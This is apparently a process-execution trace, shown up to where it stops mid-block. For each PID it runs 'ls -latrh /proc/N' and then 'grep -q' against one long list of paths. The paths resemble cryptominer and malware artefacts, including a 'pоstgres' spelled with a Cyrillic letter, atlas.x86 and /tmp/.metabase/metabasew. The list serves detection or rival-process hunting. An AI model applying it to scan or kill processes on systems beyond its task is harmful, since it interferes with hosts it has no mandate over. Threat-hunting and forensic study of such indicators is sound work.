[grep exe]

/bin/ls

[ls -latrh /proc/16]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/17]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/172]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/18]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/19]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/2]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/20]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/21]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/22]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/229]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/23]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/24]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/245]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/3]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/327]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/328]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/330]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/332]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/359]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/36]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/37]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/379]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/381]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/385]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/4]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/420]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/5]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/6]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/667]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/67]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/671]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/698]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/7]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/701]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/705]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/71]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/72]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/720]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/73]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/731]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/732]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/737]

/bin/grep

